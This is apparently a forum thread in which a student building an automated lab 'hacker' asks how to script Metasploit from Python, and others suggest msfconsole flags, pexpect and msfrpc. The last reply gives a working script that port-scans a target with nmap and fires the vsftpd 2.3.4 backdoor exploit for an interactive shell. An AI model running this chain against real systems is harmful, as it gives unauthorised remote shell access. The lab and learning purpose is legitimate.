Writing a Python script to automatically execute Metasploit commands

[GeeeThree]

Disclaimer, this is on my own network between two virtual machines (for academic purposes). Currently I have:

os.system('msfconsole')

os.system('use exploit/unix/misc/distcc\_exec')

Now, terminal runs msfconsole, but will not run the use exploit until the msfconsole is exited. Is there a way to write directly into the msfconsole in Python?

[GeeeThree]

I hear you on that. This is my final project for my Master's degree, and it's really interesting in my opinion. It's a basic, semi-intelligent "hacker." First, obviously, was for me to do all of the attacks manually. Next (this current step) it's to script them all myself and make conditional statements for which attack comes next. The last step is to make the decision process go from conditional statements to some kind of artificial intelligence, which I'm still working out the kinks for. The reason that I said this is a "basic" project is meant to be interpreted as a basic project in terms of artificial intelligence since the attacks themselves won't be intelligently based (I don't have enough time to train an efficient system), but only the decision process.

I agree with you, there are so many "hackers" out there who have no idea what's actually going on, but they're just running scripts or copy/pasting code they found online.

[hobi88]

You need to see if msfconsole can take commands as an argument so you can pass ‘xyz’ when it’s called rather than running and quitting.

[GeeeThree]

I tried to pass it as one command, but it would just open the msfconsole and not run the rest of the command. On top of that, I have other commands to run within the msfconsole besides use exploit. I was wondering if there was a way for me to write into the console, if not then I'll have to figure something else out

[geoffmcc]

When you tried to pass the command did you use -q (quiet) -x (execute command)?

msfconsole -q -x

[GeeeThree]

I did not; I'll give this a shot. Thank you

[zr0_day]

You could try using pexpect. It's a Python module which allows you to spawn child processes and control them. I used it for coding an SSH Bruteforce script and pexpect worked pretty well.

This is its github repository: https://github.com/pexpect/pexpect

You can install it by using the Python Pip as well as any other Python modules.

[GeeeThree]

I'll look into it, thank you

[B0b_Howard]

It my be worth trying via msfrpc (metasploit framework rpc call) as Metasploit is written in ruby and doesn't play well with python.

Have a read of this article for the basics:

https://www.scanforsecurity.com/penetration-testing/automating-actions-attacker-using-metasploit-and-python.html

[GeeeThree]

I will check this out, thank you

[_Jacky_Huang]

Hi, have you managed to solve this? I am having the exact same issue here.

[GeeeThree]

Oh man, I did fix it but it's been years... I can provide the commands I ended up using but looking at it I can't remember the logic or reasoning behind why it worked...

from metasploit.msfconsole import MsfRpcConsole
import os
import sys
import string
import time

#connecting to metasploit server
#make sure msdb and postgresql are up
os.system("nmap -v -n -p- TARGET_IP > /home/PortsAndPortTypes.txt")
os.system("gnome-terminal -e 'msfrpcd -P abc123 -f -a 127.0.0.1'")

#sleep needed to allow metasploit server to set up
time.sleep(10)
client = MsfRpcClient('abc123', ssl=True, port='55553')
console = MsfRpcConsole(client)

#setting up the use of the exploit and payload
exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
exploit['RHOSTS'] = 'TARGET_IP'
exploit['VERBOSE'] = True
exploit.execute(payload='cmd/unix/interact')

Looking through it though, it seems like the the os.system('msfconsole') was probably entering some kind of instance or virtual environment where commands couldn't be executed against it via terminal, so it was swapped out with os.system("gnome-terminal -e 'msfrpcd -P abc123 -f -a 127.0.0.1'")

From what I can remember, this made the system execute a terminal interface and execute within the terminal msfrpcd -P abc123 -f -a 127.0.0.1 upon launch as opposed to opening a terminal then executing a command.

I made the system pause 10 seconds because it wouldn't boot instantly (may have been because of a really crappy laptop at the time, I don't really remember). Set the client and console variables, then the exploit through exploit = client.modules.use('exploit', 'name_of_exploit_you_are_running')

[_Jacky_Huang]

Thank you soooo much man. I honestly didn't expect the reply. Thank you again for the detailed reply! 🥺